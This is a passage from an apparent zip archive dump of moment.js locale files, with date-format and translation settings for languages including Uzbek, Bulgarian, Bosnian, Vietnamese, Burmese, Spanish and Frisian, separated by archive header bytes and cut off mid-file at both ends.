    weekdaysMin : 'Su_Má_Þr_Mi_Fi_Fö_La'.split('_'),
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY [kl.] H:mm',
        LLLL : 'dddd, D. MMMM YYYY [kl.] H:mm'
    },
    calendar : {
        sameDay : '[í dag kl.] LT',
        nextDay : '[á morgun kl.] LT',
        nextWeek : 'dddd [kl.] LT',
        lastDay : '[í gær kl.] LT',
        lastWeek : '[síðasta] dddd [kl.] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'eftir %s',
        past : 'fyrir %s síðan',
        s : translate,
        ss : translate,
        m : translate,
        mm : translate,
        h : 'klukkustund',
        hh : translate,
        d : translate,
        dd : translate,
        M : translate,
        MM : translate,
        y : translate,
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\7Ա��locale/uz.jsnu�[���//! moment.js locale configuration
//! locale : Uzbek [uz]
//! author : Sardor Muminov : https://github.com/muminoff

import moment from '../moment';

export default moment.defineLocale('uz', {
    months : 'январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр'.split('_'),
    monthsShort : 'янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек'.split('_'),
    weekdays : 'Якшанба_Душанба_Сешанба_Чоршанба_Пайшанба_Жума_Шанба'.split('_'),
    weekdaysShort : 'Якш_Душ_Сеш_Чор_Пай_Жум_Шан'.split('_'),
    weekdaysMin : 'Як_Ду_Се_Чо_Па_Жу_Ша'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'D MMMM YYYY, dddd HH:mm'
    },
    calendar : {
        sameDay : '[Бугун соат] LT [да]',
        nextDay : '[Эртага] LT [да]',
        nextWeek : 'dddd [куни соат] LT [да]',
        lastDay : '[Кеча соат] LT [да]',
        lastWeek : '[Утган] dddd [куни соат] LT [да]',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'Якин %s ичида',
        past : 'Бир неча %s олдин',
        s : 'фурсат',
        ss : '%d фурсат',
        m : 'бир дакика',
        mm : '%d дакика',
        h : 'бир соат',
        hh : '%d соат',
        d : 'бир кун',
        dd : '%d кун',
        M : 'бир ой',
        MM : '%d ой',
        y : 'бир йил',
        yy : '%d йил'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�^
_��locale/bg.jsnu�[���//! moment.js locale configuration
//! locale : Bulgarian [bg]
//! author : Krasen Borisov : https://github.com/kraz

import moment from '../moment';

export default moment.defineLocale('bg', {
    months : 'януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември'.split('_'),
    monthsShort : 'янр_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек'.split('_'),
    weekdays : 'неделя_понеделник_вторник_сряда_четвъртък_петък_събота'.split('_'),
    weekdaysShort : 'нед_пон_вто_сря_чет_пет_съб'.split('_'),
    weekdaysMin : 'нд_пн_вт_ср_чт_пт_сб'.split('_'),
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'D.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY H:mm',
        LLLL : 'dddd, D MMMM YYYY H:mm'
    },
    calendar : {
        sameDay : '[Днес в] LT',
        nextDay : '[Утре в] LT',
        nextWeek : 'dddd [в] LT',
        lastDay : '[Вчера в] LT',
        lastWeek : function () {
            switch (this.day()) {
                case 0:
                case 3:
                case 6:
                    return '[В изминалата] dddd [в] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[В изминалия] dddd [в] LT';
            }
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'след %s',
        past : 'преди %s',
        s : 'няколко секунди',
        ss : '%d секунди',
        m : 'минута',
        mm : '%d минути',
        h : 'час',
        hh : '%d часа',
        d : 'ден',
        dd : '%d дни',
        M : 'месец',
        MM : '%d месеца',
        y : 'година',
        yy : '%d години'
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/,
    ordinal : function (number) {
        var lastDigit = number % 10,
            last2Digits = number % 100;
        if (number === 0) {
            return number + '-ев';
        } else if (last2Digits === 0) {
            return number + '-ен';
        } else if (last2Digits > 10 && last2Digits < 20) {
            return number + '-ти';
        } else if (lastDigit === 1) {
            return number + '-ви';
        } else if (lastDigit === 2) {
            return number + '-ри';
        } else if (lastDigit === 7 || lastDigit === 8) {
            return number + '-ми';
        } else {
            return number + '-ти';
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\9:�..locale/bs.jsnu�[���//! moment.js locale configuration
//! locale : Bosnian [bs]
//! author : Nedim Cholich : https://github.com/frontyard
//! based on (hr) translation by Bojan Marković

import moment from '../moment';

function translate(number, withoutSuffix, key) {
    var result = number + ' ';
    switch (key) {
        case 'ss':
            if (number === 1) {
                result += 'sekunda';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'sekunde';
            } else {
                result += 'sekundi';
            }
            return result;
        case 'm':
            return withoutSuffix ? 'jedna minuta' : 'jedne minute';
        case 'mm':
            if (number === 1) {
                result += 'minuta';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'minute';
            } else {
                result += 'minuta';
            }
            return result;
        case 'h':
            return withoutSuffix ? 'jedan sat' : 'jednog sata';
        case 'hh':
            if (number === 1) {
                result += 'sat';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'sata';
            } else {
                result += 'sati';
            }
            return result;
        case 'dd':
            if (number === 1) {
                result += 'dan';
            } else {
                result += 'dana';
            }
            return result;
        case 'MM':
            if (number === 1) {
                result += 'mjesec';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'mjeseca';
            } else {
                result += 'mjeseci';
            }
            return result;
        case 'yy':
            if (number === 1) {
                result += 'godina';
            } else if (number === 2 || number === 3 || number === 4) {
                result += 'godine';
            } else {
                result += 'godina';
            }
            return result;
    }
}

export default moment.defineLocale('bs', {
    months : 'januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar'.split('_'),
    monthsShort : 'jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.'.split('_'),
    monthsParseExact: true,
    weekdays : 'nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota'.split('_'),
    weekdaysShort : 'ned._pon._uto._sri._čet._pet._sub.'.split('_'),
    weekdaysMin : 'ne_po_ut_sr_če_pe_su'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY H:mm',
        LLLL : 'dddd, D. MMMM YYYY H:mm'
    },
    calendar : {
        sameDay  : '[danas u] LT',
        nextDay  : '[sutra u] LT',
        nextWeek : function () {
            switch (this.day()) {
                case 0:
                    return '[u] [nedjelju] [u] LT';
                case 3:
                    return '[u] [srijedu] [u] LT';
                case 6:
                    return '[u] [subotu] [u] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[u] dddd [u] LT';
            }
        },
        lastDay  : '[jučer u] LT',
        lastWeek : function () {
            switch (this.day()) {
                case 0:
                case 3:
                    return '[prošlu] dddd [u] LT';
                case 6:
                    return '[prošle] [subote] [u] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[prošli] dddd [u] LT';
            }
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'za %s',
        past   : 'prije %s',
        s      : 'par sekundi',
        ss     : translate,
        m      : translate,
        mm     : translate,
        h      : translate,
        hh     : translate,
        d      : 'dan',
        dd     : translate,
        M      : 'mjesec',
        MM     : translate,
        y      : 'godinu',
        yy     : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\���+	+	locale/vi.jsnu�[���//! moment.js locale configuration
//! locale : Vietnamese [vi]
//! author : Bang Nguyen : https://github.com/bangnk

import moment from '../moment';

export default moment.defineLocale('vi', {
    months : 'tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12'.split('_'),
    monthsShort : 'Th01_Th02_Th03_Th04_Th05_Th06_Th07_Th08_Th09_Th10_Th11_Th12'.split('_'),
    monthsParseExact : true,
    weekdays : 'chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy'.split('_'),
    weekdaysShort : 'CN_T2_T3_T4_T5_T6_T7'.split('_'),
    weekdaysMin : 'CN_T2_T3_T4_T5_T6_T7'.split('_'),
    weekdaysParseExact : true,
    meridiemParse: /sa|ch/i,
    isPM : function (input) {
        return /^ch$/i.test(input);
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 12) {
            return isLower ? 'sa' : 'SA';
        } else {
            return isLower ? 'ch' : 'CH';
        }
    },
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM [năm] YYYY',
        LLL : 'D MMMM [năm] YYYY HH:mm',
        LLLL : 'dddd, D MMMM [năm] YYYY HH:mm',
        l : 'DD/M/YYYY',
        ll : 'D MMM YYYY',
        lll : 'D MMM YYYY HH:mm',
        llll : 'ddd, D MMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[Hôm nay lúc] LT',
        nextDay: '[Ngày mai lúc] LT',
        nextWeek: 'dddd [tuần tới lúc] LT',
        lastDay: '[Hôm qua lúc] LT',
        lastWeek: 'dddd [tuần rồi lúc] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : '%s tới',
        past : '%s trước',
        s : 'vài giây',
        ss : '%d giây' ,
        m : 'một phút',
        mm : '%d phút',
        h : 'một giờ',
        hh : '%d giờ',
        d : 'một ngày',
        dd : '%d ngày',
        M : 'một tháng',
        MM : '%d tháng',
        y : 'một năm',
        yy : '%d năm'
    },
    dayOfMonthOrdinalParse: /\d{1,2}/,
    ordinal : function (number) {
        return number;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�N�--
locale/tet.jsnu�[���//! moment.js locale configuration
//! locale : Tetun Dili (East Timor) [tet]
//! author : Joshua Brooks : https://github.com/joshbrooks
//! author : Onorio De J. Afonso : https://github.com/marobo
//! author : Sonia Simoes : https://github.com/soniasimoes

import moment from '../moment';

export default moment.defineLocale('tet', {
    months : 'Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru'.split('_'),
    monthsShort : 'Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez'.split('_'),
    weekdays : 'Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu'.split('_'),
    weekdaysShort : 'Dom_Seg_Ters_Kua_Kint_Sest_Sab'.split('_'),
    weekdaysMin : 'Do_Seg_Te_Ku_Ki_Ses_Sa'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[Ohin iha] LT',
        nextDay: '[Aban iha] LT',
        nextWeek: 'dddd [iha] LT',
        lastDay: '[Horiseik iha] LT',
        lastWeek: 'dddd [semana kotuk] [iha] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'iha %s',
        past : '%s liuba',
        s : 'minutu balun',
        ss : 'minutu %d',
        m : 'minutu ida',
        mm : 'minutu %d',
        h : 'oras ida',
        hh : 'oras %d',
        d : 'loron ida',
        dd : 'loron %d',
        M : 'fulan ida',
        MM : 'fulan %d',
        y : 'tinan ida',
        yy : 'tinan %d'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\
���locale/gd.jsnu�[���//! moment.js locale configuration
//! locale : Scottish Gaelic [gd]
//! author : Jon Ashdown : https://github.com/jonashdown

import moment from '../moment';

var months = [
    'Am Faoilleach', 'An Gearran', 'Am Màrt', 'An Giblean', 'An Cèitean', 'An t-Ògmhios', 'An t-Iuchar', 'An Lùnastal', 'An t-Sultain', 'An Dàmhair', 'An t-Samhain', 'An Dùbhlachd'
];

var monthsShort = ['Faoi', 'Gear', 'Màrt', 'Gibl', 'Cèit', 'Ògmh', 'Iuch', 'Lùn', 'Sult', 'Dàmh', 'Samh', 'Dùbh'];

var weekdays = ['Didòmhnaich', 'Diluain', 'Dimàirt', 'Diciadain', 'Diardaoin', 'Dihaoine', 'Disathairne'];

var weekdaysShort = ['Did', 'Dil', 'Dim', 'Dic', 'Dia', 'Dih', 'Dis'];

var weekdaysMin = ['Dò', 'Lu', 'Mà', 'Ci', 'Ar', 'Ha', 'Sa'];

export default moment.defineLocale('gd', {
    months : months,
    monthsShort : monthsShort,
    monthsParseExact : true,
    weekdays : weekdays,
    weekdaysShort : weekdaysShort,
    weekdaysMin : weekdaysMin,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[An-diugh aig] LT',
        nextDay : '[A-màireach aig] LT',
        nextWeek : 'dddd [aig] LT',
        lastDay : '[An-dè aig] LT',
        lastWeek : 'dddd [seo chaidh] [aig] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'ann an %s',
        past : 'bho chionn %s',
        s : 'beagan diogan',
        ss : '%d diogan',
        m : 'mionaid',
        mm : '%d mionaidean',
        h : 'uair',
        hh : '%d uairean',
        d : 'latha',
        dd : '%d latha',
        M : 'mìos',
        MM : '%d mìosan',
        y : 'bliadhna',
        yy : '%d bliadhna'
    },
    dayOfMonthOrdinalParse : /\d{1,2}(d|na|mh)/,
    ordinal : function (number) {
        var output = number === 1 ? 'd' : number % 10 === 2 ? 'na' : 'mh';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�l�X
X
locale/ss.jsnu�[���//! moment.js locale configuration
//! locale : siSwati [ss]
//! author : Nicolai Davies<mail@nicolai.io> : https://github.com/nicolaidavies


import moment from '../moment';

export default moment.defineLocale('ss', {
    months : "Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split('_'),
    monthsShort : 'Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo'.split('_'),
    weekdays : 'Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo'.split('_'),
    weekdaysShort : 'Lis_Umb_Lsb_Les_Lsi_Lsh_Umg'.split('_'),
    weekdaysMin : 'Li_Us_Lb_Lt_Ls_Lh_Ug'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY h:mm A',
        LLLL : 'dddd, D MMMM YYYY h:mm A'
    },
    calendar : {
        sameDay : '[Namuhla nga] LT',
        nextDay : '[Kusasa nga] LT',
        nextWeek : 'dddd [nga] LT',
        lastDay : '[Itolo nga] LT',
        lastWeek : 'dddd [leliphelile] [nga] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'nga %s',
        past : 'wenteka nga %s',
        s : 'emizuzwana lomcane',
        ss : '%d mzuzwana',
        m : 'umzuzu',
        mm : '%d emizuzu',
        h : 'lihora',
        hh : '%d emahora',
        d : 'lilanga',
        dd : '%d emalanga',
        M : 'inyanga',
        MM : '%d tinyanga',
        y : 'umnyaka',
        yy : '%d iminyaka'
    },
    meridiemParse: /ekuseni|emini|entsambama|ebusuku/,
    meridiem : function (hours, minutes, isLower) {
        if (hours < 11) {
            return 'ekuseni';
        } else if (hours < 15) {
            return 'emini';
        } else if (hours < 19) {
            return 'entsambama';
        } else {
            return 'ebusuku';
        }
    },
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'ekuseni') {
            return hour;
        } else if (meridiem === 'emini') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === 'entsambama' || meridiem === 'ebusuku') {
            if (hour === 0) {
                return 0;
            }
            return hour + 12;
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}/,
    ordinal : '%d',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�8�`eelocale/me.jsnu�[���//! moment.js locale configuration
//! locale : Montenegrin [me]
//! author : Miodrag Nikač <miodrag@restartit.me> : https://github.com/miodragnikac

import moment from '../moment';

var translator = {
    words: { //Different grammatical cases
        ss: ['sekund', 'sekunda', 'sekundi'],
        m: ['jedan minut', 'jednog minuta'],
        mm: ['minut', 'minuta', 'minuta'],
        h: ['jedan sat', 'jednog sata'],
        hh: ['sat', 'sata', 'sati'],
        dd: ['dan', 'dana', 'dana'],
        MM: ['mjesec', 'mjeseca', 'mjeseci'],
        yy: ['godina', 'godine', 'godina']
    },
    correctGrammaticalCase: function (number, wordKey) {
        return number === 1 ? wordKey[0] : (number >= 2 && number <= 4 ? wordKey[1] : wordKey[2]);
    },
    translate: function (number, withoutSuffix, key) {
        var wordKey = translator.words[key];
        if (key.length === 1) {
            return withoutSuffix ? wordKey[0] : wordKey[1];
        } else {
            return number + ' ' + translator.correctGrammaticalCase(number, wordKey);
        }
    }
};

export default moment.defineLocale('me', {
    months: 'januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar'.split('_'),
    monthsShort: 'jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.'.split('_'),
    monthsParseExact : true,
    weekdays: 'nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota'.split('_'),
    weekdaysShort: 'ned._pon._uto._sri._čet._pet._sub.'.split('_'),
    weekdaysMin: 'ne_po_ut_sr_če_pe_su'.split('_'),
    weekdaysParseExact : true,
    longDateFormat: {
        LT: 'H:mm',
        LTS : 'H:mm:ss',
        L: 'DD.MM.YYYY',
        LL: 'D. MMMM YYYY',
        LLL: 'D. MMMM YYYY H:mm',
        LLLL: 'dddd, D. MMMM YYYY H:mm'
    },
    calendar: {
        sameDay: '[danas u] LT',
        nextDay: '[sjutra u] LT',

        nextWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[u] [nedjelju] [u] LT';
                case 3:
                    return '[u] [srijedu] [u] LT';
                case 6:
                    return '[u] [subotu] [u] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[u] dddd [u] LT';
            }
        },
        lastDay  : '[juče u] LT',
        lastWeek : function () {
            var lastWeekDays = [
                '[prošle] [nedjelje] [u] LT',
                '[prošlog] [ponedjeljka] [u] LT',
                '[prošlog] [utorka] [u] LT',
                '[prošle] [srijede] [u] LT',
                '[prošlog] [četvrtka] [u] LT',
                '[prošlog] [petka] [u] LT',
                '[prošle] [subote] [u] LT'
            ];
            return lastWeekDays[this.day()];
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'za %s',
        past   : 'prije %s',
        s      : 'nekoliko sekundi',
        ss     : translator.translate,
        m      : translator.translate,
        mm     : translator.translate,
        h      : translator.translate,
        hh     : translator.translate,
        d      : 'dan',
        dd     : translator.translate,
        M      : 'mjesec',
        MM     : translator.translate,
        y      : 'godinu',
        yy     : translator.translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\l�4�locale/my.jsnu�[���//! moment.js locale configuration
//! locale : Burmese [my]
//! author : Squar team, mysquar.com
//! author : David Rossellat : https://github.com/gholadr
//! author : Tin Aung Lin : https://github.com/thanyawzinmin

import moment from '../moment';

var symbolMap = {
    '1': '၁',
    '2': '၂',
    '3': '၃',
    '4': '၄',
    '5': '၅',
    '6': '၆',
    '7': '၇',
    '8': '၈',
    '9': '၉',
    '0': '၀'
}, numberMap = {
    '၁': '1',
    '၂': '2',
    '၃': '3',
    '၄': '4',
    '၅': '5',
    '၆': '6',
    '၇': '7',
    '၈': '8',
    '၉': '9',
    '၀': '0'
};

export default moment.defineLocale('my', {
    months: 'ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ'.split('_'),
    monthsShort: 'ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ'.split('_'),
    weekdays: 'တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ'.split('_'),
    weekdaysShort: 'နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ'.split('_'),
    weekdaysMin: 'နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ'.split('_'),

    longDateFormat: {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L: 'DD/MM/YYYY',
        LL: 'D MMMM YYYY',
        LLL: 'D MMMM YYYY HH:mm',
        LLLL: 'dddd D MMMM YYYY HH:mm'
    },
    calendar: {
        sameDay: '[ယနေ.] LT [မှာ]',
        nextDay: '[မနက်ဖြန်] LT [မှာ]',
        nextWeek: 'dddd LT [မှာ]',
        lastDay: '[မနေ.က] LT [မှာ]',
        lastWeek: '[ပြီးခဲ့သော] dddd LT [မှာ]',
        sameElse: 'L'
    },
    relativeTime: {
        future: 'လာမည့် %s မှာ',
        past: 'လွန်ခဲ့သော %s က',
        s: 'စက္ကန်.အနည်းငယ်',
        ss : '%d စက္ကန့်',
        m: 'တစ်မိနစ်',
        mm: '%d မိနစ်',
        h: 'တစ်နာရီ',
        hh: '%d နာရီ',
        d: 'တစ်ရက်',
        dd: '%d ရက်',
        M: 'တစ်လ',
        MM: '%d လ',
        y: 'တစ်နှစ်',
        yy: '%d နှစ်'
    },
    preparse: function (string) {
        return string.replace(/[၁၂၃၄၅၆၇၈၉၀]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    week: {
        dow: 1, // Monday is the first day of the week.
        doy: 4 // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\ßNK��locale/es.jsnu�[���//! moment.js locale configuration
//! locale : Spanish [es]
//! author : Julio Napurí : https://github.com/julionc

import moment from '../moment';

var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split('_'),
    monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_');

var monthsParse = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i];
var monthsRegex = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;

export default moment.defineLocale('es', {
    months : 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split('_'),
    monthsShort : function (m, format) {
        if (!m) {
            return monthsShortDot;
        } else if (/-MMM-/.test(format)) {
            return monthsShort[m.month()];
        } else {
            return monthsShortDot[m.month()];
        }
    },
    monthsRegex : monthsRegex,
    monthsShortRegex : monthsRegex,
    monthsStrictRegex : /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,
    monthsShortStrictRegex : /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,
    monthsParse : monthsParse,
    longMonthsParse : monthsParse,
    shortMonthsParse : monthsParse,
    weekdays : 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'),
    weekdaysShort : 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'),
    weekdaysMin : 'do_lu_ma_mi_ju_vi_sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D [de] MMMM [de] YYYY',
        LLL : 'D [de] MMMM [de] YYYY H:mm',
        LLLL : 'dddd, D [de] MMMM [de] YYYY H:mm'
    },
    calendar : {
        sameDay : function () {
            return '[hoy a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        nextDay : function () {
            return '[mañana a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        nextWeek : function () {
            return 'dddd [a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        lastDay : function () {
            return '[ayer a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        lastWeek : function () {
            return '[el] dddd [pasado a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'en %s',
        past : 'hace %s',
        s : 'unos segundos',
        ss : '%d segundos',
        m : 'un minuto',
        mm : '%d minutos',
        h : 'una hora',
        hh : '%d horas',
        d : 'un día',
        dd : '%d días',
        M : 'un mes',
        MM : '%d meses',
        y : 'un año',
        yy : '%d años'
    },
    dayOfMonthOrdinalParse : /\d{1,2}º/,
    ordinal : '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\c&5��locale/fy.jsnu�[���//! moment.js locale configuration
//! locale : Frisian [fy]
//! author : Robin van der Vliet : https://github.com/robin0van0der0v

import moment from '../moment';

var monthsShortWithDots = 'jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.'.split('_'),
    monthsShortWithoutDots = 'jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des'.split('_');

export default moment.defineLocale('fy', {
    months : 'jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber'.split('_'),
    monthsShort : function (m, format) {
        if (!m) {
            return monthsShortWithDots;
        } else if (/-MMM-/.test(format)) {
            return monthsShortWithoutDots[m.month()];
        } else {
            return monthsShortWithDots[m.month()];
        }
    },
    monthsParseExact : true,
    weekdays : 'snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon'.split('_'),
    weekdaysShort : 'si._mo._ti._wo._to._fr._so.'.split('_'),
    weekdaysMin : 'Si_Mo_Ti_Wo_To_Fr_So'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD-MM-YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[hjoed om] LT',
        nextDay: '[moarn om] LT',
        nextWeek: 'dddd [om] LT',
        lastDay: '[juster om] LT',
        lastWeek: '[ôfrûne] dddd [om] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'oer %s',
        past : '%s lyn',
        s : 'in pear sekonden',
        ss : '%d sekonden',
        m : 'ien minút',
        mm : '%d minuten',
        h : 'ien oere',
        hh : '%d oeren',
        d : 'ien dei',
        dd : '%d dagen',
        M : 'ien moanne',
        MM : '%d moannen',
        y : 'ien jier',
        yy : '%d jierren'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/,
    ordinal : function (number) {
        return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de');
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\z{@��locale/hu.jsnu�[���//! moment.js locale configuration
//! locale : Hungarian [hu]
//! author : Adam Brunner : https://github.com/adambrunner

import moment from '../moment';

var weekEndings = 'vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton'.split(' ');
function translate(number, withoutSuffix, key, isFuture) {
    var num = number,
        suffix;
    switch (key) {
        case 's':
            return (isFuture || withoutSuffix) ? 'néhány másodperc' : 'néhány másodperce';
        case 'ss':
            return num + (isFuture || withoutSuffix) ? ' másodperc' : ' másodperce';
        case 'm':
            return 'egy' + (isFuture || withoutSuffix ? ' perc' : ' perce');
        case 'mm':
